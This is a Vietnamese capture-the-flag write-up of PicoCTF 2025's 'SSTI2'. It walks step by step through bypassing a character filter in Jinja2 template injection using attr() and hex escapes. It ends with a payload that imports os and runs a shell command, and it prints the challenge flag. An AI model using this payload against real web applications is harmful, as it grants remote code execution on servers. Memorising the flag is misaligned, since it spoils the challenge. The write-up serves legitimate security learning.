SSTI2
Introduction
PicoCTF 2025
Category: Web Exploitation
Write-up date: 18/03/2025
Question: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :) I heard templating is a cool and modular way to build web apps! Check out my website here!
Point: Medium
Vulnerability
Recon
Là một chall kế tiếp của challenge 1, lần này hệ thống được nâng cấp lên với nhiều regex và các từ trong ban list để tránh người dùng có thể bybass sandbox và truy cập được vào shell để in ra flag.
Hint: regex cụ thể là r'[_\[\]\.]|\|join|base'
Exploit
Chúng ta thử dùng thử payload của bài cũ thì server trả về kết quả

Vậy có thể thấy được rằng trang web này đã có filter để ngăn chặn kẻ xấu xâm nhập vào web. Dựa vào các bước chọn như phần trước, ta lại tạo payload mới. Đầu tiên, chúng ta thử các global class xem cái nào dùng được.
Sau khi thử các global class trên thì ta thấy không cái nào bị chặn.
Vậy nên mình sẽ chọn thằng '' làm global class trong payload của mình.
Tiếp đến là truy cập đến method __class__. Khi ta chạy thử payload ''.__class__ thì hệ thống báo lỗi. Vậy khả năng
hệ thống có thể đã chặn dấu _ hoặc dấu .. Vì vậy, thay vì sử dụng ''.__class__, ta có thể sử dụng
{{''|attr(\x5f\x5fclass\x5f\x5f) | attr(mro)}}
Giải thích payload trên:
- Thay vì sử dụng dấu
., trong jinja2, chúng ta còn có thể sử dụng|(hay còn gọi là Filter) để filter các giá trị trong biến đó. - attr() là một hàm filter đặc biệt.
Khi cho một giá trị bất kỳ vào, jinja sẽ trả về attribute mang đúng với giá trị của biến đó. (ví dụ như là
''|attr('__class__')thì giá trị trả về sẽ là''.__class__) \x5flà một char đặc biệt, thay vì sử dụng dấu gạch dưới, ta có thể sử dụng bảng mã hex\x5fđể bybass filter.
Tiếp đến là bước truy cập vào class <class 'object'>. Sau khi thử cả ba method __base__, __mro__() và mro() thì
cả hai cái mro đều sử dụng được, còn lại __base__ thì không sử dụng được nhưng sau khi hex toàn bộ chữ cái trong base
\x5f\x5f\x62\x61\x73\x65\x5f\x5f thì ta có thể sử dụng như bình thường.
Vì muốn test tiếp xem trang còn filter gì không nên mình sử dụng hàm mro() làm payload.
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5f\x62\x61\x73\x65\x5f\x5f')()}}
Tiếp đến, sau khi truy cập được hàm mro(), chúng ta cần trỏ đến vị trí thứ [-1] trong mang để trỏ đến
<class 'object'>. Tuy nhiên, khi nhập payload vào thì ta nhận được thông báo lỗi như sau.

Vậy là, khả năng hệ thống có thể đã filter dấu [], vậy ta loại bỏ trường hợp sử dụng __subclasses__ (Vì
__subclasses__ cũng sử dụng list để lấy các object đã được khai báo trong chương trình).
Vì template là jinja2 nên ta còn một hướng đi khác là sử dụng __global__.__builtins__ và từ đó ta có thể import thư
viện ngoài vào để RCE (cụ thể là thư viện os).
Trong jinja2, các function trong request, config hoặc một số function trong global object có thể truy cập vào
__global__.__builtins__. Ta có thể list ra các hàm của global object thông qua [object].__class__.__dict__:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
Mình sẽ lựa chọn request.application để làm payload để truy cập vào __global__.__builtins__, từ đó gọi hàm
__import__('os') và sử dụng function popen của os để đọc cũng như ghi file. Kết hợp các cách kể trên để né filter,
ta có payload như sau:
- Note: Tại vì attr() không thể lấy được các item trực tiếp từ dict, nên chúng ta phải sử dụng
__getitem__từ__global__để đọc được__builtins__
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr("\x5f\x5fgetitem\x5f\x5f")('\x5f\x5fbuiltins\x5f\x5f')|attr("\x5f\x5fgetitem\x5f\x5f")('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
Sau khi nhận đọc được file flag, ta nhận được flag như sau:

FLAG: picoCTF{sst1_f1lt3r_byp4ss_7c3c6e7f}